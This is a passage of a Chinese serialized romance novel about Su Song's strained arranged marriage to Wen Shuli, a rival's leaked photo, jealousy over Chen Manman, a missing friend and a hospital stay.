“一天到晚,净看热闹不嫌事大!”
周正焕上半身倒在椅子上,一只脚跨在茶几上,懒懒散散的姿态,配上他那张过分好看的脸,透出一种说不出的慵懒美。
“我只是不跟白雯订婚了,怎么就娶不到老婆了。”
“谁跟你说白雯了,我是说苏颂,你的颂颂可不跟你走呢,我看到了,是你硬拉着人出酒店的。”昨天,他晚了一点到,没想到刚好碰上重头戏。
周正焕大半会没吱声,江灿特意过来,看看他是次要的,主要就是来问他对这个事的态度的。
“真非人家不娶了?”
“需要兄弟帮忙吗?”
“抢人家老婆,手段不能太正经。”江灿连说了好几句,周正焕终于有所反应,搭在茶几上的脚直接扫过去,踹了江灿一下。
“你别拿商界那套歪风邪气来污染人。”
被打了,江灿也不恼,笑得眯眼:“你要带人家老婆私奔就正气?放句话,真要,兄弟我帮你。”
“谁叫从小到大,整个院子的长辈就担心你长不大呢,好不容易长大了,可不能因为娶不到老婆绝后了。”
“嗳,我也是越来越爹味了,难道是因为有未婚妻了的关系。”江灿语气苦恼,表情却是轻松散漫的,炫耀。
嘁!
“你这嘴真是越来越臭了。我要颂颂……”
……
江灿从周家出来,上了车,看着周家庄严的门楣,想到周正焕刚才的决定,笑了一下:“我就知道。”
他让司机开车,又吩咐:“联系一下温戍礼,我要见他。”
语音刚落,他的手机就响起,一串没注名的电话,本地的。
江灿划开接听,那端传来:“是我,温戍礼。”
。
温戍礼看着满屋子的星际航空模型,抬头,入目的是一片星空顶,这会是白天
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,上面的小星星都泛着别样的光晕,若是开了灯,他能想象得到那种璀璨。
“难怪叫星灿。”江灿带他来了星灿酒吧的顶楼,不上来,都不知道这里还别有洞天。
不过男人嘛,小时候都有一个星际之旅的梦,江灿看上去再白净,骨子里还是流淌着军人的热血,有科技梦再正常不过了。
温戍礼没有太大好奇,比起这个他更好奇他的脸。他看着江灿下巴的位置:“为什么把痣点了?怕被发现什么?”
在多年前,温戍礼见过江灿,青涩的少年长得很干净,就是下巴的地方长着一颗小黑痣,若是他黑一些倒也无关紧要,主要他太白了,像是一张白纸落了点墨,显得很突兀,也容易让人一眼就看到那黑点。
江灿坐在办公桌后的转椅上,笑:“我有什么事怕被发现的。只是叔什么时候关注我的样貌了?”
一句“叔”叫得几分揶揄,温戍礼没心思跟他打哑谜,开门见山:“你是去年年底才去掉这颗痣的,我们在King见面的时候,它还在。”但年初,温禾带他参加温家的宴会时,就没有了,也就是这样,林美丽才没有怀疑到给她照片的是江灿。
“为什么要针对苏颂?我跟你之间没有恩怨。”温家从商,江家除开江灿,都是从军的,江灿做的是风投,跟温家的生意也没影响,再者说,两家现在还有温禾这层关系在。
温戍礼一路上都在梳理关系,试图找出江灿为难苏颂的意图。
哪知道江灿也不否认,给出的理由更是让人意外。
“你跟正焕有,要是你当年没有那么快的娶苏颂,周正焕那个少根筋的,开了窍绝对会娶她。”
没想到是这个原因,意外,又不意外。
只不过情理有些不通:“那也是我跟周正焕的事情。”温戍礼站着,到底年长一些,出来历练早,身上的气场强大许多。
江灿讪讪的摸着鼻子笑,像是想到什么高兴的事情:“谁叫我爹味重。”
温戍礼眯眼看着他,语气已经变了。
“所以你要跟我对着干?”
154 苏颂,不是你叫的
面对温戍礼威压式的警告,江灿笑了一下,转着椅子的动作停下来。
“叔,别紧张。”
“正焕说了,他不会再对苏颂有任何想法了,这一次是他误以为苏颂过得不好,正焕说了,只要颂颂过得好,他会祝福。”
江灿问周正焕要不要抢,周正焕的回答是“我要颂颂幸福,温戍礼对她好就行了”,听听,多痴情的人,江灿是第一次领略到周家人是情种的杀伤力。
真让闻者都共情呢。
江灿笑笑,冷白皮的脸透出点狡猾。
“叔会好好对苏颂的吧?”临走前,周正焕委托他,让他转告温戍礼,别为难颂颂。他让手下的人联系温戍礼,本来也是这个目的。
“只要你能不计前嫌,正焕让我代他道个歉。”他收起些笑意,看上去多了一丝正经。
温戍礼一直保持着站着的姿势,表情淡淡的,江灿也被他感染得严肃起来,正要以为温戍礼不答应,温戍礼开了口。
“第一,苏颂是我老婆,两口子打打闹闹,不叫前嫌。
年轻不懂,叔可以告诉你,叫情趣。”
几乎认识温戍礼的人都说,他自律克制,严肃到透出古板,但就是给人印象这么刻板的人,现在却说出含着情色的话。
江灿的脸色变了,他感觉到那句“年轻”是在嘲弄他。但温戍礼的话还没完。
“第二,我跟苏颂怎么过日子,还不需要你教。你喊我一声‘叔’,长辈的事情,晚辈就不该管。”
江灿脸上一抽,他喊着玩的,揶揄温戍礼老呢,再说了,谁爱管他的事,他还不是受人之托,因为苏颂。
“还有,第三。”
江灿抬眼,一眨不眨的看着他,等着温戍礼又要说出什么气死人还让人反驳不了的话。
温戍礼掏出烟,似乎看出他被吊起的好奇心,慢条斯理地点了一根,不慢不快。
他本就英俊高大,这会儿一手插进兜里,一手抽烟,站在那,眯着眼瞧他。
他抽一口,拿下烟,张口间,烟雾缭绕而出,让人看不起他的表情。
“你该叫她,婶婶。”
一口一个苏颂,碍耳!
KO!江灿被绝杀了。
他一向油嘴滑舌,一张嘴经常埋汰人到对方又气又没辙,但今天,他被温戍礼这个直男秒杀了。
他叫叔是说他老,他自认为是说他是长辈,不但认老,还让他尊老,甚至连苏颂都不让喊了。
江灿感觉到了,他的占有欲,非常满。
男人对一个女人有占有欲代表喜欢,温戍礼喜欢苏颂?
温戍礼走到门边,停下:“养老机构的事情,是盛泰胜之不武,但男人之间的竞争,不应该涉及女人。
你这么为周正焕着想,下次我把事情跟他小叔解释一遍。”
这话听得正在思考的江灿一顿,他怎么知道?还有,告诉周家小叔,那他还有活路吗?
他侧过脸,对上江灿那张惨白的脸,勾唇一笑,“免得以后被周家人知道了,还以为你是在利用周正焕报复我。”
江灿倏地站起来,喊“温戍礼”,但对方已经开门出去了。
关上的门,像是撞在江灿的心脏上,让他又惊又怕。原来温戍礼都知道。
养老机构的竞标,江灿也有参加的,不过他用了别人名下的皮包公司,他的身份不适合,但他野心大,可被温泰用不正当关系挤下来了,温泰还举报了那家皮包公司,让他白白损失了几百万。
江灿怎么咽的下这口气,所以背地里用江家的名义卡了温家手里这个项目半年。
至于利用周正焕……他有私心,但主要还不是周正焕是为了苏颂回来的,他们这一伙都知道,周家小叔一开始带着周正焕去云城,就是想让周正焕在那边发展,可他现在回来了,一回来就想带走苏颂。
男人的白月光是一辈子的不甘心,江灿以为,照片爆出去,一能报复温戍礼,再者能讨好周正焕。周家的地位比江家高太多了。
但他低估了温戍礼的能力,一个能在继母手里顺利活下来,还有两个弟弟
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竞争的情况下,还能成为家族继承人的人,怎么可能轻易被他算计!
江灿跌坐下来,他闭了闭眼,完了。
。
苏颂一个人回了家,虽然把一开始的导火者找出来了,但她一点都不高兴。
阿姨端来果汁,见她愁眉不展,问:“太太,你不舒服吗?”
苏颂瘫倒在沙发里,目光没有焦距的垂下,一副没有精神气的样子。
“嗯,这里不舒服。”她指了指自己的胸口。
心,不舒服。
温戍礼不信她。
他的暴怒,撕开了他们婚姻的不堪。匆忙联姻来的婚姻,脆弱不堪。
苏颂有些难过,但她也清楚,两人没有感情基础,加上昨天的事情闹得太大,站在他的立场,她不怨他,更多的无力感,是友谊的背叛。
苏颂在学校没有什么朋友,原因很简单,她随母姓,又没妈,出生就带来的不同,让她从小就遭受过不少质问“你爸不是姓陈吗?你怎么姓苏”,“你妈妈呢?怎么从来没见过”,“听说你妈死了,死的时候肚子里还怀着宝宝,你是不是担心你妈妈生下弟弟,影响你的地位,所以诅咒死你的妈妈”……
太多太多的流言,袭击在她一个孩子身上,没人开导,也没人帮她排解,久而久之,她疏离人群,开始独来独往。
闫丽的出现,让她知道,原来这个世界上,是有不看背景,不带异样的目光的,不管别人怎么评价闫丽,苏颂都把她当成自己生命中的一束光,她没有跟任何人说过,其实去夜店之前,她自己已经在江边徘徊好久了。
她想,跳下去,去找妈妈,去诉说思念跟委屈,但暗夜里,深不见底的江面,江水都是黑色的,她害怕,她忽然想要去找光亮的地方,越亮越好,还要人多的……闫丽的店,够亮,够人多。
如果说闫丽的出现想一道光,那么李斯俊的出现,就是一个英雄,他救了她,还教了她,因为这两个人的关系,所以通过他们衍生的关系,苏颂都十分信任。
155 预告,简介名场面要来了
第一次认识江灿,是大一的暑假,那时候,她已经很久没有见到闫丽了,在回家之前,她们约了地方,到达的时候,周正焕也在,身边还有一个很高很瘦又很白的男人。
苏颂对江灿的第一印象不太好,她总觉得那人的外形不协调到有些吓人,太瘦,显得腿很长,又干巴,有点像某些午夜剧场里面的白无常,加上下巴上的痣又黑有明显,看上去让人非常不舒服。
所以她尽量不去看他,也没有跟他搭话,甚至逛了一天,连他叫什么都忘了。
那一天,他们四个人一起游玩古城,晚上一起在闫丽的店里嗨吧。
那张照片,就是在那个时候拍的。她不会记错的,因为她就那次,到舞池跳舞。
她就跳了一会,因为不会跳,周正焕还教她,结果被江灿那样抓着角度一拍,就变得暧昧无比。
她并不知道当时的江灿偷偷拍了照,一开始照片爆出来的时候,她还很茫然,直到正月的时候,在温家的宴会上,再次见到江灿。
一开始她也没想起来,因为他下巴上的痣没有了,人也较之胖了一点,从少年变成男人,只需要一套西装加持,他西装革履,意满风发的接受温家那些旁支的恭维,整个人像是镀上光晕,加上苏颂当时也想认识他。
客观和主观意识都让她没想起来,那是故人。
苏颂觉得心里闷疼得厉害,捂着胸口,泪眼婆娑的看着阿姨:“阿姨,我喘不上气。”
这话吓得阿姨连忙去找医药箱,去拿药。
温戍礼回来的时候,正好看到阿姨在找药,医药箱放在地上,因为药物太多,几瓶滚了出来,而苏颂倒在沙发上,脸上淌着泪水。
他脸色一变,三步作两步走,快步踏过去,来到苏颂身边,一把就要把她抱起来:“我带你去医院。”
可苏颂却推他,摇了摇头,艰难的说:“不用。”
“你这样了,还说不用!”他意识到自己有点大声,忽然沉默下来,就那样看着她。
苏颂缓了一下,觉得好了一些,声线恢复正常,说:“我只是心情不太好。”
心情不好?这两天,谁的心情都不好,温戍礼看着她擦泪,最后变成无奈叹息:“我跟陈曼曼真的没什么,昨晚,我是跟辽舟一起喝酒,她自己进来的。”
默了默,他又说:“喝酒是因为我心情不痛快,昨天那种情况,是个男人都会有气,不过我昨天不应该对你发脾气,对不起。”他原本想装昨晚喝醉断片,把这一切都糊弄过去,反正日子该过照过,按照苏颂的性格也不会来找他闹。
但看她这样,显然是生闷气才会这样,他又意识到,真这样,自己就是混蛋。
苏颂抬眼看着他,这一年来,温戍礼的变化很大,自从解开了孩子的误会,他对她的态度好了很多,真错了,他也会道歉。
苏颂确实没打算闹,但搭伙过日子跟真心过日子不一样。
两人对视着,像是在无声的交流。
“找到了。”阿姨扒拉箱底,终于被她找到速心丸。
温戍礼看着她吃下去,还体贴的给她送水,阿姨已经不知道躲到哪里去了。
“以后心情不好你也可以对我发脾气,哪有人这么傻,气自己的。”温戍礼把药盖拧好,又把水杯接过去。
这一刻,是苏颂幻想了好多次的场面,他喜欢她,对她体贴入微。
体贴是有了,喜欢,有几分呢?
就在气氛缓和的时候,温戍礼的手机响起,他的手机就放在桌面上,苏颂看到了来电显示。
陈曼曼。
没来由的,温戍礼感到心虚,抬手就往红色指标上去,却被苏颂拦住。
“接吧,与其跟我口头道歉,不如做点实际的,让我安心。”
苏颂想要温戍礼不要跟陈曼曼来往,这是她第一次直接说出来,但随即想到以前听到过那些流言,他们都说,整个圈子就只有陈曼曼一个女人能近他的身,能跟他说话不被赶,能向他求助有回应。
忽然间,苏颂又不自信了,抓着他手背的手收了回来。
温戍礼的目光落在她那白皙纤细的手上,划开绿色键,
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按了扬声器。
“戍礼哥。”陈曼曼的声音立刻传过来。
“我说过,不要给我打电话。”他之前就让陈曼曼有事给肖直打,真有事,肖直再来跟他说,但现在,温戍礼甚至都不想管她的事了。
“戍礼哥,我……”
“既然你听不懂,那以后,连肖直都不要联系了。以后你的事情,我不会再插手,都跟我没关系。”
直接、冷漠,温戍礼一如既往的无情,挂了电话。而今天,他把这份决然面对曾经的“白月光”,苏颂觉得心情很好。
很好,很好。
。
接到李斯俊的电话,是在两天后,原本苏颂是不想见他的,原因无他,只是不想再被温戍礼误会,两个人的关系好不容易有所进展,她不想在感情没有牢固的时候,再生事端。
可李斯俊说,他姐不见了。
他姐,闫丽!
车上,苏颂一直在打闫丽的电话,那端一直提示无人接听,这让她心急如焚。
闫丽的手机从不关机,按她说的,她的电话都是来财,不能关。可现在她不仅关机,还关店,人也不见了。
苏颂再一次挂断电话,催促着司机快一点,司机却显得为难。
“下班高峰期,有点塞车。”
车子慢慢停下来,前面堵了一堆车,不动了。她坐立难安,本就急的心,变得更加急躁,她降下车玻璃,探出头张望,想着能不能找到捷径。
“嗳,你这样太危险,不能把头伸出去。”
司机在前面叫唤着,苏颂却顿住,她看到了马路对面的人,有一男一女在拉扯,旁边车道上的车动了一下,车厢挡住了苏颂的视线,她坐了回去。
等旁边的货车开进前,两车的距离正好在苏颂这个位置,没有遮挡,她顺利看清对面的人。
这一看,让她失了态。
“嗳,不能扒拉正在上升的车玻璃。”司机赶紧摁住。
苏颂两手抓着玻璃,却不在乎刚才的惊恐,目光直盯盯的看着对面。
那个男人……
是温戍礼。
156 她的好先生,在街上跟一个女人拥抱
苏颂从没有想过,温戍礼会跟别的女人有亲密的行为,所有认识他的人都说他高冷自律,没结婚前像是对女人免疫。
可现在,她那个所谓洁身自好的丈夫,正跟别的女人拥抱,在大街上,陈曼曼扑向他,但他没有推开。
前面的绿灯,车子移动,苏颂趴在车窗上,目光一直往后看,像是要看清楚,看清楚,是自己认错人。
前面的司机摇头:“我还以为今天有人包车,能赚个轻松点的,结果碰上个神经。”
车子过了路口,苏颂也看不到那对人影了,她看到陈曼曼松开了手,温戍礼却拉住她。
不舍吗?
他不是不让陈曼曼联系他了吗?
疑问像是石头一样,沉沉的压在苏颂的心头上。
清吧
苏颂进来,被里面的情况吓一跳,桌子歪歪斜斜的,倒了好几只椅子,像是混乱间,被人撞过一样。
“是发生过搏斗吗?”苏颂小心的跨过障碍物走进来。
李斯俊双手抱胸,靠在吧台上,不知道看着这一场混乱多久,听到苏颂的问话,他才动了一下。
“我姐知道我来南城了,她却没有给我打过电话,我现在有些担心。”
如果真的是搏斗的话,那是什么人?对方带走了闫丽吗?
“那,怎么办?报警吗?”
李斯俊摇摇头:“我已经打电话给正焕,让他带人先来看看。”
没有证据,的确不适合贸然报案,但周正焕要来吗?她还没从三天前的订婚宴事件走出来,不知道要怎么面对才好。如果被温戍礼知道她见了周正焕……
可是他自己不是也见了陈曼曼,一想起刚才那一幕,苏颂觉得心口有些疼。
“你的脸色怎么这么差?”李斯俊发现她的不对劲,转而想到什么,“正焕说那天他只是临了不想跟白雯订婚,又误以为你过得不好,才会想着带你走,他已经跟我道过歉了。”
那晚在山上,李斯俊将人狠狠揍了一顿,揍到最后,周正焕道歉。
他说他没想对不起兄弟,一切是临时起意。
“正焕那人,你也知道,傲慢嘴又毒,对女孩子不热心的,他只是因为受我所托,对你多照顾一些,久而久之,产生了喜欢你的错觉。
你……不用在意。”
苏颂歪着脑袋看他,周正焕闹着带她私奔,为什么得跟他道歉?她还没从温戍礼跟陈曼曼搞在一起的糟糕情绪里抽离,脑子里一团浆糊,一时间分不出李斯俊话里的别样情绪。
在周正焕到达之前,两人在店里走动,想寻找一丝蛛丝马迹,走到办公室的时候,苏颂被办公桌上的东西吸引。
她走过去,拿起电脑前的银色面具,之前她没有见到过,更重要的是,面具下方有个星星的钢印,那晚她们在星灿,观看选美总决赛的时候,那位服务员说,店里每个面具都是独一无二的,上面都带有他们店里的标致,一颗五角星。
苏颂翻过来看,这是一个男人的面具。
李斯俊走过来,见她拿着一个面具端详,问:“怎么了,这个面具有问题吗?”
苏颂正想说不知道,一道声音比他更快。
“她失踪,可能跟这个面具有关。”
是周正焕。
他带了个专业的人过来,那人戴着手套,正对着桌子的一角拍照,像是发现了什么。
李斯俊问:“外面发现了什么?”从他的角度看去,那张桌子只是歪了,旁边倒了两张椅子,并没有其他痕迹。
周正焕看向苏颂,语气支吾,表情古怪,像是苏颂在,他不想说。
李斯俊却不惯着他:“颂颂又不是外人,你别颂颂没配合你错下去,你就提防她。”
带她私奔这件事,就是周正焕的错!
最近周正焕已经因为这件事被教训过很多次了,现在当着苏颂的面,更是恼怒:“我才没有。”
他重重的强调,双手环胸,好看的脸,耳尖开始红温,他看苏颂也正瞪着大眼睛看他,眼神飘忽了一下,脸红起来。
“检验员发现了,类似
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……精液的东西。”
苏颂立刻低下头,目光左右闪躲,浑身透出尴尬。李斯俊也语塞了,张了张口,一时间觉得说什么都不合适。
这话,确实不该让她听!
。
闫丽一时半会找不到,苏颂也不是专业人士,帮不上忙,就先回来了,到家的时候,发现温戍礼的鞋子在,他回来了?
街上那一幕又涌现上来。
苏颂走进来,没见到温戍礼,以为他又在书房忙,她也没兴致去找他,其实这几天,他们看似把订婚宴上发生的事情放下了,但相处起来还是处处不自在。
最明显的,就是这几天,他没碰她。
苏颂仰头坐在沙发上,望着顶上的水晶吊灯,她想,是因为这样吗?欲求不满,所以找了一直以为不讨厌,还能接受的女人。
他说了,以前跟陈曼曼,就是多说过几次话,他对她并没有男女之情,他还说,如果有,就不会娶她了。多好笑了,信誓旦旦的话不过尔尔,转头又搞上了。
苏颂竟然笑出声,温戍礼出来的时候,就看到苏颂靠在沙发里笑。
“什么事这么高兴?”他走过来。
苏颂坐直起来,看着他,清澈的眼睛亮亮的,透出的情绪很奇怪,看起来并不像是高兴。
丈夫有外遇,疯了才会高兴。
苏颂起身:“没什么。”她径直朝着房间走去。
温戍礼看着她的背影,这两天,她没有再纠结于他跟陈曼曼肢体接触的事情,但她对他礼貌客气,显得疏离淡漠,像是又回到一年之前的状态。
为什么?如果真要较真起来,那他是不是能说,还不是她非得跟周正焕当朋友,才有了这么多事。
理智告诉他,不能。他是男人,不应该跟女人计较。但感性上又让他不痛快,明明两个人都有错,她凭什么揪着不放。
再说了,他放下一堆工作,每天提前回家,是想多陪陪她,可不是回家来看她脸色的!
温戍礼是个行动派,他得找她再谈谈。
157 今晚,她又凶又闹,让他眼前一亮
房间里,苏颂正在衣帽间拿睡衣,打算洗澡。
温戍礼站在门口,道:“你去哪了?”
明明昨天还好一点,不说多温顺,但至少不会像现在一样甩脸色。
以往,他问她就说的,毕竟她的出门次数少,行踪也单一,没什么好隐瞒的。但这一次,苏颂却说:“我不也没问你去哪。”
许是从没听过她这样带着反抗情绪的话,他笑了一下:“我也没有不让你问,是你从来不问。
我都告诉你,我出差了,你都不问我去哪。”
他怎么没给权利呢,给了,她没领会到,只会想起来就问他要回来没有,要不然干脆就一个“嗯”,两人的聊天界面上,可真干净啊,都是只言片语的。
想起来,他越发觉得好笑,朝她走过去,站在她面前,故意挑逗的说:“需要让肖直把我每天的安排打印一份给你?”
他想说并不介意她知道的,可话还没说完,他的手机就响起来。
苏颂又看到了,看见“陈曼曼”三个字。
她紧紧的捏着睡衣,情绪快要失控。
相比之下,温戍礼很淡定,他平静的说:“曼曼遇到点事,没有故意联系。我先去处理一下。”
他的承诺,现在被他一句“没有故意”,就自己把自己的诺言推翻了。
苏颂咬着牙,很努力才克制自己不发疯。
“你说过,让她别联系你了,别接。”她给他最后的机会,让他可以悬崖勒马,保持他们这段平静的婚姻。
来电停了,但很快,第二个电话又打进来,温戍礼说:“她真有事。”
目光落在她手里的睡衣上:“我让人给你添置了不少新的睡衣,你可以挑一挑那些。”
然后他拿着手机就出去了,苏颂甚至还听到他醇厚低沉的嗓音喊出“曼曼”。
好讨厌的名字。
苏颂洗完澡出来,温戍礼还没回房间,她想了想,出去看看,结果刚开门,就听到他的声音。
“你冷静点,曼曼。”
“没事的。”
有事,怎么会没事?
婚后,苏颂对温戍礼的事情不过问,就是不想知道太多影响自己的心情,她到底是苏家唯一的千金,怎么会真的没有脾气。
这一刻,她走过去。
“聊这么久还没完?”她站定在那,还算礼貌,她想,不要再跟陈曼曼讲电话了。
可温戍礼却朝她做了一个“嘘声”的动作。
到底,结婚的意义是什么呢?奶奶叫她忍耐,家和万事兴。那男人呢?男人婚后准则是什么?
不知道哪里来的勇气,苏颂只觉得胸膛里滚着一团火,这团火已经开始乱窜,让她想爆发。
她走过去,夺过温戍礼的手机,大声说:“别聊了!”
看着她把电话挂掉,温戍礼眉头紧蹙,但他还没张口说什么,苏颂的眼泪就流下来了,他顿住。
“不是说喜欢我吗?不是说跟她没什么吗?”忍了一天的火,终于忍不住了。
她的声音变得尖锐高亢,甚至颤音,苏颂咆哮:“为什么还接她电话,为什么说话不算数?”
温戍礼从没见过苏颂这个样子,先是被吓到,随后便是想安慰她,只是他刚移动,苏颂就把手机砸过来,他反应迅速的接住,低头的瞬间,也听到她的声音。
“为什么要跟她拥抱?”
男人抬起头,表情错愕。
。
温戍礼跟陈曼曼认识,能追溯到小时候,曾经的陈家很辉煌,一度是南城的首富,后来南城首富的位置几经易主落在了温家头上,濒临破产的陈耀辉带着陈曼曼上门求助。
温戍礼的爷爷不忍,帮了陈耀辉一次,没成想,竟然让陈耀辉心生奢望,他觉得自己的女儿很漂亮,长大后,一定能进得了温家的门,一场刻意的培养开始了。
但温戍礼真正注意到陈曼曼,是她从陈家千金沦为私生女。
陈曼曼的母亲出身贫寒,因为陈耀辉的父母一直阻拦,导致两人一直没有领证,后来陈耀辉出轨,外面的女人生了儿子,人到中年得子,让他忘了初
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心,陈耀辉踹走了陈曼曼的母亲,把外面那对母子领回家,还正了名。
事情在圈子里传得沸沸扬扬的,温戍礼也才想起来,是有这么一个女孩一看到他就上来打招呼,好几次凑巧的偶遇。于是那一次,温戍礼对她点了点头。
原因无他,只因为相似的经历,曾经温航之也很爱他母亲,可后来,还是被他母亲捉奸在床。
都是父亲出轨,母亲离婚,继母生了弟弟……总之,那段时间的温戍礼,看到陈曼曼都会觉得是在看年幼时期的自己,特别是她每次故意在他出现的场合表现的时候,明明是在谈论诗词歌赋,但身上却总带着不明显的伤。
那些地方,曾经也是林美丽折磨他的地方,于是,他对陈曼曼生出同情。
在你争我斗,利益现实的上流社会里,怜悯之情,已是稀缺,特别是温戍礼一直对女孩子敬敏不谢,这样一来,就显得陈曼曼很特别。
但其实,他帮她,其实也是在帮曾经的自己。
他不想再跟陈曼曼有联系,是怕苏颂介意,并不是他心虚。
而今天又联系,是因为,陈曼曼的母亲**,陈家还要把她赶出去,丧母加被抛弃,让她一时想不开,在大街上,他只是在阻止陈曼曼做傻事。
当然这件事他可以不帮,但是这样的话,他一直想挽救的“小时候的自己”,不就失败了吗?
温戍礼一个晃神,手机溜下去,砸在地板上,被苏颂一丢没事,被他这么不注意手滑,倒是把手机屏幕摔坏了。
他看着那扇紧闭的门,这是第一次,他看到情绪失控,大哭大闹的苏颂。
温戍礼不谈恋爱,不是他厌女,而是他早熟,他一早就有了自己的择偶标准:漂亮、持家、懂事、贤惠。但圈子里,符合这四点的没有。
这些年,苏颂一直做得很好,完全符合了这四点,但有时候,又让他觉得少了点什么。
他觉得妻子像个木偶,没有灵魂。
可今晚,她又凶又闹,让他眼前一亮。
158 没人来问她,疼不疼,心里难不难受
温戍礼开门,刚进门就听到她呜呜的抽泣声,他走过去,只见她侧躺在床上,背对着自己,她的肩膀微微抽动,这一刻,温戍礼的心软了。
“是我不对。”他站在床边,“我只是看她母亲走了,她爸也不管,想着帮一把。”
越说,那单薄的身子越是抽动得厉害,温戍礼不敢再说下去,想起顾辽舟教他的:不要跟女人讲道理,你想要和好,道歉就行,一次不行就两次,直接说到女人笑了就好了。
当时听的时候,只觉得是歪理,真到了辩驳的时候,怎么能撇开道理?但是现如今,看她默默哭泣的样子,他忘了什么叫道理,只想她笑。
温戍礼想到自己前两次道歉,苏颂都原谅了他,于是继续道歉。
他坐在床侧,温声道:“是我思虑不周,就算要帮也应该提前告诉你,好了,我不管了。别哭了。”
温戍礼从没有这样安慰过谁,连他母亲都说他太冷太木,不讨女人喜欢。他当时还回答母亲,喜欢他的女人很多,是他不想搭理才对。
现在他理解母亲的话了,原来喜欢跟不喜欢,差别在于,愿不愿意哄。他母亲当时应该是担忧他这样的性子,遇到喜欢的女孩子会不讨喜欢。
他庆幸,好在他先把人娶了。
见苏颂还是不转过来,他抬手搭在她的手臂上,却发现她颤抖得更厉害,只听她虚弱着声音说。
“戍礼,我肚子疼。”
大晚上,苏颂因为痛经被送到医院,当时来的时候,她的睡裤上全是血,把医生都吓到了。
她又梦到了失去宝宝那一天,很痛,她瞥见医生的手套上全是血。
苏颂的第一胎,到了快三个月才发现,其实身体是有点不一样的,例如她平常会有点痛经,但是那段时间很久没来月经了,肚子不痛,她浑身舒坦,她有些刻意的回避怀孕的可能性。
那会她刚跟温戍礼结婚不久,感情不稳定一回事,主要做的时候都有做措施,这点事,他比她更谨慎,注意到让苏颂以为他不想要孩子。
加上聚少离多,她觉得可能性不大,但往往最不可能的事情,最容易发生,可是她刚做好当准妈妈地准备,检查结果就让她伤心绝望。
人流这件事,她奶奶说她那么没运气,怎么怀了个不好的孩子。
温戍礼误以为是她狠心,故意流掉属于他们的孩子。对她忽冷忽热,折磨了她两年。
但没人来问问她,疼不疼,心里难不难受。
疼的,这些年她一直被这件事所困,她亲自决定不要了自己的骨肉,让她觉得自己像是个刽子手,每每夜深人静,午夜徘徊,她总是难受得喘不过气。
病床上的苏颂闭着眼睛,紧紧拧着眉,眼泪从眼尾滑落,把守在一旁的温戍礼吓到了。
“苏颂,苏颂……”
“妈妈,妈妈……”
苏颂好像梦见有人在喊她,肚子里抽疼了一下,她的手抓紧了一下盖在肚子上的被子,快速睁开眼来。
“不……”
“你醒了?还疼吗?”温戍礼靠近过来,帮她把被汗水沾湿的头发整理到后面去。
只见他一脸凝重:“怎么越来越厉害?做个检查吧。”之前去医院,医生只开了一些药,不过后面想备孕,加上吃了效果不大,苏颂就停了。
她没有拒绝。
“好。”
温戍礼的手机又响了,爆屏的手机,不正面看,有些难以看清,但苏颂知道是谁,因为温戍礼把电话挂断了。
他从不会在她面前遮遮掩掩的接电话,相反,他很忙,时常在家也电话不停的。
心虚,才会不敢接。
“真没事?”被泪水冲洗过的声音,有点沙哑。
温戍礼说:“有事也不用我去操心。我要操心也是操心你。”
苏颂从没有听过温戍礼说情话,还以为这个人天性冷淡,是不会说肉麻话了,没成想,还能有幸听到。
苏颂的心情好了些,于是在他问要不要喝水的时候,苏颂点了点头。
温戍礼给她倒水,递到她手边,贴心的照顾是最好的
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良药。苏颂接过,喝了一口,正要把水杯递给他,他的手机又响了。
她便把水杯收回去,又喝了一点。
“是肖直。”他的助理来电,他接听,然后他便站起来,对苏颂说,“有急事,我去一下。我让阿姨过来,我很快就回来。”
他快步走了,苏颂知道,肯定是很急的事情,可为何,那端提到了“陈曼曼”的名字?
他刚才离自己近,手机那端传来的声音,她听到了,有人在找陈曼曼麻烦,温总,快来。
他刚说过的话,又忘了。
手里的杯子,到底没人接过去,苏颂把水杯放在一旁的桌子上,到底,喝不下去了。
医生进来,说温戍礼让安排检查,他先来询问病情,安排明天的检查。
苏颂说了症状后,医生再次确认道:“做了人流后,情况更严重是吗?”
苏颂有些提不起精神的点头。
有件事,她一直不敢说,这会,病房里,就她和医生,她问:“医生,……”
。
医院楼下,肖直刚好在附近,温戍礼下来的时候,肖直开车也正好到。
肖直下来说:“温总,陈小姐已经去警局了。”
温戍礼上了车,闻言,没有多说,而是对肖直吩咐:“找一下三年前给太太孕检以及做人流的医生,仔细问一下当时的情况。”
肖直的眼睛抬了一下,又迅速垂下视线,心里满是震惊,他一直以为上司跟太太之前的感情不好,没想到,之前竟然连孩子也有了,只是居然没了。
温戍礼刚才送苏颂来医院,人是他抱进去的,所以她迷迷糊糊那句话,他听到了,她说“保孩子”,虽然可能是她痛到错乱,不知道自己在说什么,但人往往在无意识说的话,才是心里话。
他原本想,孩子这件事,他也做得不到位,让她一个人承受这些,她够痛苦了,过去就过去,细问只会对她再造成伤害。可刚才苏颂无意识的反应,让他觉得,可能还有隐情。
肖直应下:“是。”
159 先生他正陪着另一个女人
苏颂一直等到隔天,温戍礼还没出现,连阿姨都看出她心情不好,做事都小心翼翼。
“太太,护士说,我们可以去检查了。”
苏颂原本看着窗外发呆,闻言,转过头来,问:“他来了吗?”
阿姨掐着手,说:“要不,我还是给先生打个电话,单子是医生后来开的,先生可能不知道你今天要检查。”
昨晚,阿姨跟着一起来,但来了之后,她便给苏颂办住院,忙上忙下,也不知道这对小夫妻在病房里又发生什么事,温戍礼喊她进去照顾后,人就走了,她进来之后,发现苏颂满头大汗,看上去很不对劲,刚准备给先生打电话,苏颂又阻止,她不让她给温戍礼打电话。
苏颂说:“别打。”阿姨扶着她下床,又听到她说,“就是他让我做检查的。”
她的眼神空洞,脸色苍白得,像是脆弱不已。
“他自己说过的话,还老是需要人提醒吗?”
阿姨到底年长,人到了年纪,心态会变得平和,劝说道:“太太,你要是想让先生陪,可以说啊。你们是夫妻,有什么不可以说的。
也许你打个电话,先生就来了。”
苏颂抽出自己的手,她可以自己走。
“又不是没打过,万一他又是在陪别的女人呢?”
这话让阿姨猛然想起,去年她刚上岗不久,苏颂也是痛经,她给先生打了电话,但先生却没有回来,结果转头就在医院见到了。
当时,太太也打电话过去了,可先生说忙。当时她们就在转角,看着先生他正陪着另一个女人。
想起来这回事,让阿姨掏手机的动作停下来。
苏颂看出阿姨的无所适从,自己笑了一下,自嘲道:“他昨晚就是为了那个女人走的。”
她自己走出病房,阿姨连忙跟上,再也不提给先生打电话的事了。
苏颂的自愈能力一向好,没办法,从小她就需要自己消化情绪,不想开点,活不到现在,只不过她没想到自己检查完出来,会遇到闫丽。
“丽姐?”
听见有人喊她,闫丽转过头,她戴着帽子口罩,看见是苏颂,想转过头继续装陌生人,结果苏颂已经走过来。
